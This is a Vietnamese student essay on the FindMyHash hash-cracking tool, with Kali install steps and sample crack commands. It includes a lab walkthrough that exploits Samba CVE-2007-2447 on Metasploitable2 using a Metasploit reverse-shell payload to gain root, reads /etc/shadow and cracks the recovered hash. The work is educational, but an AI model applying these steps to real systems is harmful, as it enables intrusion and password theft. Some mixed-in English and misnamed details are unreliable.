Giới thiệu chung
Hash là một phương pháp mã hóa một chiều cho dữ liệu, thường được ứng dụng để lưu trữ mật khẩu Kỹ thuật này giúp bảo vệ mật khẩu gốc của người dùng khi cơ sở dữ liệu bị lộ, đặc biệt là khi nhiều người sử dụng chung một mật khẩu cho nhiều ứng dụng khác nhau Việc lưu trữ mật khẩu dưới dạng hash là rất quan trọng, nhằm ngăn chặn hacker truy cập vào mật khẩu gốc.
Mã hash là một dạng mã hóa một chiều, tuy nhiên vẫn có khả năng dịch ngược thông qua các cơ sở dữ liệu Nhiều website cung cấp dịch vụ chuyển đổi chuỗi ký tự thành mã hash và lưu trữ chúng, nhằm hỗ trợ việc tra cứu mã hash một cách hiệu quả.
FindMyHash là công cụ mã nguồn mở được phát hành vào ngày 21 tháng 9 năm 2011, được viết bằng ngôn ngữ Python và đã trải qua ba phiên bản Hiện tại, nhà phát triển đang nỗ lực phát triển phiên bản 2.0 Công cụ này sử dụng dữ liệu từ hàng chục trang web bẻ khóa hàm băm trực tuyến cho nhiều loại mã hóa khác nhau, nhằm so sánh với hàm băm cần phá để lấy lại thông tin đã bị mã hóa.
Nó hỗ trợ các thuật toán băm như: MD4, MD5, SHA1, SHA225, SHA256,
The article discusses various cryptographic hash functions, including SHA384, SHA512, GOST, WHIRLPOOL, LM, NTLM, MYSQL, CISCO7, JUNIPER, LDAP_MD5, and LDAP_SHA1 Additionally, it highlights the capability of supporting multi-threaded decryption to enhance efficiency and save time.
Cách thức hoạt động
Phương pháp truyền thống để lưu trữ mật khẩu là sử dụng các hàm băm, tuy nhiên, dữ liệu này có thể bị rao bán trực tuyến hoặc lưu trữ trong các cơ sở dữ liệu cũ mà không được bảo mật đúng cách, dẫn đến việc lộ thông tin Findmyhash tận dụng nguồn dữ liệu phong phú này để so khớp với đầu vào đã được mã hóa bằng thuật toán băm, và nếu quá trình so khớp thành công, mật khẩu sẽ được khôi phục.
7 Hình 2 1: Cách lưu trữ mật khẩu trên database
Hình 2 2: Lưu trữ thông tin của người dùng facebook
8 Hình 2 3: Thuật toán băm được hỗ trợ bởi findmyhash
Hình 2 4: Câu lệnh giải mã trong findmyhash
Hình 2 5: Kết quả câu lệnh
Hướng dẫn cài đặt findmyhash trên Kali Linux
Findmyhash (Tanalor, 2018) chạy bằng ngôn ngữ python nên Kali Linux
Để sử dụng công cụ findmyhash, bạn cần cài đặt Python, mà Kali Linux đã tích hợp sẵn trong các phiên bản mới nhất Tuy nhiên, với các phiên bản Python cũ, thư viện httplib2 không còn được hỗ trợ và không thể cài đặt Do đó, bài viết này sẽ hướng dẫn bạn cách cài đặt trên Python 3.
B1: Cài đặt hệ điều hành Kali Linux (bạn có thể chọn bất kì hệ điều hành nào bạn muốn)
B2: Truy cập vào trang link: https://github.com/Talanor/findmyhash để có thể lấy mã nguồn
B3: Lấy đường link mã nguồn, bạn click vào code -> sao chép mã nguồn
Hình 3 1: Trang github chứa source findmyhash
B4: Mở cửa sổ terminal trên kali linux, gõ lệnh git clone https://github.com/Talanor/findmyhash.git
B5: Gõ lệnh pip3 install -r findmyhash/dependencies.txt để cài đặt file hướng dẫn B6: Gõ lệnh cd findmyhash/ để truy cập vào thư mục này
B7: Xem các hàm các loại hàm băm được hỗ trợ qua câu lệnh: python3 hash- tool.py algo list
Hình 3 2: Gõ lệnh algo list để kiểm tra các hàm băm được hỗ trợ B8: Xem các kiểu hỗ trợ trong findmyhash: python3 hash-tool.py –help
-h : Dịch ngược một chuỗi hash
-f : Dịch ngược nhiều chuỗi hash từ file, mỗi chuỗi hash nằm trên một dòng
-g: Nếu không tìm được kết quả trên các website, hãy tìm trên google Chỉ hỗ trợ Dịch ngược một chuỗi hash
Hình 3 3: Lệnh –help để được hướng dẫn
B9: Gõ lệnh để thực hiện việc tìm bản rõ: python3 hash-tool.py crack -a MD5 e10adc3949ba59abbe56e057f20f883e
Kết quả: Mật khẩu là 12345
Hình 3 4: Bẻ khóa hàm băm MD5
Kịch bản tấn công
Kịch bản 1: Sử dụng hash identifier và findmyhash
Hash identifier (Kali, 2021) là công cụ hữu ích giúp xác định thuật toán băm của đầu vào, từ đó hỗ trợ findmyhash trong việc tìm bản rõ một cách nhanh chóng và hiệu quả, tiết kiệm thời gian tìm kiếm.
B1: Chuẩn bị một mã hash có thể sử dụng công cụ online có sẵn để tạo mã hash như: https://www.onlinewebtoolkit.com/hash-generator
B2: Sinh mã hash phù hợp Ví dụ: 123456 Ở đây tôi sử dụng chức năng chọn thuật toán băm ngẫu nhiên để xem hash identifier có xác định được hay không
Hình 4.1 1: Sinh hàm băm MD5 từ bản rõ B3 : Mở hash identifier để xác nhận thuật toán băm
Hình 4.1 2: Kiểm tra hàm băm bằng hash-identifier
- Có thể thấy phần possible hashs: Đưa ra hay khả năng là hàm băm MD5 hoặc MD4
B4: Sử dụng findmyhash để tìm bản rõ python3 hash-tool.py crack -a MD5
Hình 4.1 3: Tìm bản rõ của hàm băm
- Như vậy ta tìm ra kết quả mà ta đã thiết lập ban đầu là bản rõ 123456
2.Kịch bản 2: Tấn công lấy mật khẩu của máy metasploitable2
Metasploitable2 is a VMWare virtual machine that contains numerous known security vulnerabilities, enabling remote system control exploitation for educational purposes A comprehensive list of these vulnerabilities and their exploitation methods can be found at: https://www.hackingarticles.in/comprehensive-guide-on-metasploitable-2/.
- Lỗ hổng là lỗ hổng bảo mật CVE-2007-2447 trên dịch vụ chia sẻ file SMB
Samba từ phiên bản 3.0.0 đến 3.0.25rc3 có lỗ hổng cho phép kẻ tấn công thực thi mã từ xa Thông tin chi tiết về lỗ hổng này có thể được tìm thấy tại: https://nvd.nist.gov/vuln/detail/CVE-2007-2447.
- Cài đặt Kali Linux để tài khoản ở chế độ root
- Kiểm tra bộ công cụ MetaSploit chạy ổn định trên Kali không
- Tải và cài đặt Metasploitable2 làm máy nạn nhân
+ Tải Metasploitable2 tại địa chỉ http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
+ Giải nén sử dụng VMWare để khởi động máy ảo Tài khoản đăng nhập hệ thống là msfadmin/msfadmin
- Tạo người dùng trên máy ảo
+ Tạo người dùng cho mình: sudo useradd huanbd102 + Thêm mật khẩu: sudo passwd huanbd102, nhập mật khẩu: 23022000 + Đổi tên máy để dễ tấn công:
Chạy lệnh: sudo nano /etc/hostname
Nhập tên mới là huancun, nhấn Ctrl-x và bấm y để xác nhận
Khởi động lại máy: sudo reboot
Hình 4.2 1: Cấu hình máy metasploitable2 Hoàn thành việc thêm username, password thành công ở máy metasploitable2
2.2.2.Thực hiện tấn công khai thác lỗi trên Samba cho phép mở shell chạy quyền root nhằm lấy file shadow chứa mật khẩu của người dùng
- Quét lỗ hổng ở cổng 445 bằng nmap để xác định máy nạn nhân có chứa lỗ hổng này không
Hình 4.2 2: Quét cổng 445 trên máy metasploit2
- Thử ping sang máy Metasploitable2 xem có kết nối không?
Hình 4.2 3: Ping đến máy metasploitable2 từ máy tính kali linux
- Kiểm tra phiên bản samba tồn tại trên máy metasploitable2
+Khai báo sử dụng mô đun tấn công msf > use auxiliary/scanner/smb/smb_version +Đặt địa chỉ máy nạn nhân msf > set RHOST
+ Chạy để tìm lỗ hổng msf>run
Hình 4.2 4: Kiểm tra lỗ hổng samba
- Khai báo mô đun tấn công: msf > use exploit/multi/samba/usermap_script
- Đặt địa chỉ IP máy nạn nhân msf > set RHOST
- Chạy payload cho thực thi msf > set payload cmd/unix/reverse
- Đặt 445 là cổng truy cập máy nạn nhân msf > set RPORT 445
- Đặt LHOST là địa chỉ ip của máy tấn công, còn LPORT có thể giữ nguyên mặc định là 4444
- Chạy lệnh “show options” để xem các thông tin về thiết lập tấn công đang sử dụng
Hình 4.2 5: Kiểm tra cấu hình tấn công
- Thực thi tấn công: msf > exploit
+ Cửa hậu mở shell với người dùng root cho phép chạy lệnh từ máy Kali + Có thể chạy bất kì lệnh shell cho máy nạn nhân
Hình 4.2 6: Chạy lệnh tấn công
- Chạy lệnh để đọc tên người dùng whoami uname -a
Hình 4.2 7: Lấy thông tin máy metasploittable2
- Lấy mật khẩu và tên đăng nhập cat /etc/shadow | grep huanbd102, huanbd102 là tên tài khoản đã tạo
24 Hình 4.2 8: Lấy mật khẩu hàm băm
- Chọn và sao chép mã băm
Hình 4.2 9: Lưu lại mật khẩu hàm băm
- Sử dụng findmyhash để lấy mật khẩu python3 hash-tool.py crack -a MD5
Hình 4.2 10: Sử dụng findmyhash để lấy mật khẩu tư hàm băm Mật khẩu đã tìm được là 23022000
Sử dụng findmyhash để kiểm tra tính an toàn của mật khẩu mã hóa bằng thuật toán băm SHA1 Mật khẩu cần xem xét là một chuỗi gồm 8 ký tự, bao gồm chữ hoa và số Liệu mật khẩu này có đủ an toàn khi đối chiếu với findmyhash?
B1: Chuẩn bị một mã hash có thể sử dụng công cụ online có sẵn để tạo mã hash như: https://www.onlinewebtoolkit.com/hash-generator
Để sinh mã hash phù hợp, bạn có thể sử dụng ví dụ như "jack123" Tôi đã áp dụng chức năng chọn thuật toán băm ngẫu nhiên để kiểm tra khả năng xác định của mã hash này.
Hình 4.3 1: Tạo hàm băm SHA-1 B3 : Mở hash identifier để xác nhận thuật toán băm
Hình 4.3 2: Xác định hàm băm bằng hash-identifier
- Có thể thấy phần possible hashs: Đưa ra hay khả năng là hàm băm SHA-1
B4: Sử dụng findmyhash để tìm bản rõ python3 hash-tool.py crack -a SHA1
Hình 4.3 3: Bẻ khóa mật khẩu hàm băm
- Như vậy không tìm thấy kết quả, chứng tỏ việc đặt mật khẩu như tiêu đề sẽ khiến việc dò mật khẩu khó hơn.
So sánh, đánh giá và kết luận
So sánh
Chúng ta so sánh findmyhash với hai công cụ phổ biến hơn là johnTheRipper (Openwall, n.d.) và johnny (Kali, n.d.) trong việc bẻ khóa mật khẩu hàm băm
Giống nhau - Cả hai công cụ đều là công cụ bẻ khóa mật khẩu
- Có thể chạy trên các hệ điều hành phổ biến như Linux, Unbutu, Window
- Có khả năng bẻ khóa nhiều mật khẩu cùng một lúc
- Hỗ trợ các chuẩn mã hóa băm phổ biến như MD5, SHA-1, MD4, SHA-224
Khác nhau - Sử dụng các trang web chứa các hàm băm tương ứng với các mật khẩu để dò quét
- Sử dụng các thư viện có sẵn trong johnTheRipper để dò quét
- Có thể sử dụng để bẻ khóa các file winrar đuôi zip, rar
- Sử dụng bộ từ mã như rockyou.txt, wordlist để bẻ khóa mật khẩu
Hình 5 1: Bảng so sánh giữa findmyhash và johnTheRipper
Giống nhau - Cả hai công cụ đều là công cụ bẻ khóa mật khẩu
- Có thể chạy trên các hệ điều hành phổ biến như Linux, Unbutu, Window
- Có khả năng bẻ khóa nhiều mật khẩu cùng một lúc
- Hỗ trợ các chuẩn mã hóa băm phổ biến như MD5, SHA-1, MD4, SHA-224
Khác nhau - Phải sử dụng giao diện command line
- Sử dụng các trang web chứa các hàm băm tương ứng với các mật khẩu để dò quét
- Sử dụng các thư viện có sẵn trong johnny để dò quét Johnny thực chất là johnTheRipper có giao diện dễ thao tác
- Có thể sử dụng để bẻ khóa các file winrar đuôi zip, rar
- Sử dụng bộ từ mã như rockyou.txt, wordlist để bẻ khóa mật khẩu
Hình 5 2: Bảng so sánh findmyhash và johnny
Đánh giá
Findmyhash là công cụ hữu ích giúp người dùng khôi phục mật khẩu đã quên, với ưu điểm nổi bật là sử dụng bộ từ điển phong phú từ các cơ sở dữ liệu cũ và phần mềm bẻ khóa mật khẩu online Công cụ này dễ cài đặt và sử dụng trên nền tảng Python, nhưng không có giao diện GUI, gây khó khăn cho người dùng Ngoài ra, Findmyhash gặp khó khăn trong việc bẻ khóa mật khẩu dài, chứa ký tự viết hoa, ký tự đặc biệt hoặc chữ có dấu, đây là điểm cần cải thiện.
Qua bài tiểu luận, chúng ta đã khám phá và cài đặt công cụ findmyhash, so sánh với các công cụ khác Findmyhash là một công cụ bẻ khóa mật khẩu dễ sử dụng cho nhiều đối tượng, nhưng vẫn có một số điểm yếu, đặc biệt với các mật khẩu được khuyến nghị bởi chuyên gia Công cụ này chưa có giao diện GUI và chỉ hỗ trợ giải mã hàm băm.